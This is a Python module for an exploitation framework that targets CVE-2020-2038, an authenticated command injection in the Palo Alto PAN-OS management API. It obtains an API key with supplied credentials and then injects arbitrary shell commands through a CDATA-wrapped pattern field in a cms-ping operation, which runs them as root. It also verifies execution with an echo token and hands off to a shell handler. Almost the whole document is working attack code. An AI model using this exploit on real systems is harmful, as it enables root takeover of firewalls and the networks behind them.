PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
from lib.exploit.handler import Handler
import xmltodict

class Module(Exploit, Http_client, Http_login, Handler):
        

    __info__ = {
        'name': "PAN-OS 10.0 - Remote Code Execution (RCE) (Authenticated)",
        'description': "An OS Command Injection vulnerability in the PAN-OS management interface that "\
                        "allows authenticated administrators to execute arbitrary OS commands with root privileges. "\
                        "This issue impacts: PAN-OS 9.0 versions earlier than 9.0.10; PAN-OS 9.1 versions earlier than 9.1.4; "\
                        "PAN-OS 10.0 versions earlier than 10.0.1.",
        'cve': '2020-2038',
        'platform': Platform.UNIX,
        'payload': {
            'default': 'nopayload',
            },
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires':             {'min_endpoints': 0,
             'min_params': 0,
             'tech_hints_any': [],
             'tech_hints_all': [],
             'specializations_any': [],
             'risk_signals_any': [],
             'auth_session': False,
             'capabilities_any': [],
             'capabilities_all': [],
             'confidence_min': {},
             'confidence_min_any': {},
             'endpoint_pattern_any': [],
             'param_any': [],
             'api_surface_ready': False},
            'chain':             {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
             'consumes_capabilities': [],
             'option_bindings': {},
             'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
        },
        }	


    def check_execute(self):
        
        token = self.random_text(10)
        r = self.execute(f"echo {token}")
        if token in r:
            return True
        return False

    def execute(self, cmd):
        
        apiparam = {'type': 'keygen', 
                    'user': self.username, 
                    'password': self.password}
        
        apiresponse = self.http_request(method="GET",
                                        path="/api",
                                        params=apiparam,
                                        verify=False)
        xmlparse = xmltodict.parse(apiresponse.content)

        apikey = xmlparse['response']['result']['key']
        payload = '<cms-ping><host>8.8.8.8</host><count>1</count><pattern>111<![CDATA[||'+cmd+'||]]></pattern></cms-ping>'
        data = {'cmd': payload, 
                      'type': 'op', 
                      'key': apikey}
        response = self.http_request(method="GET",
                                     path="/api",
                                     params=data,
                                     verify=False)
        return response.text[50:-20]
        
    def run(self):
        if self.check_execute():
            self.handler_execute()
        else:
            self.not_vulnerable()     
            return False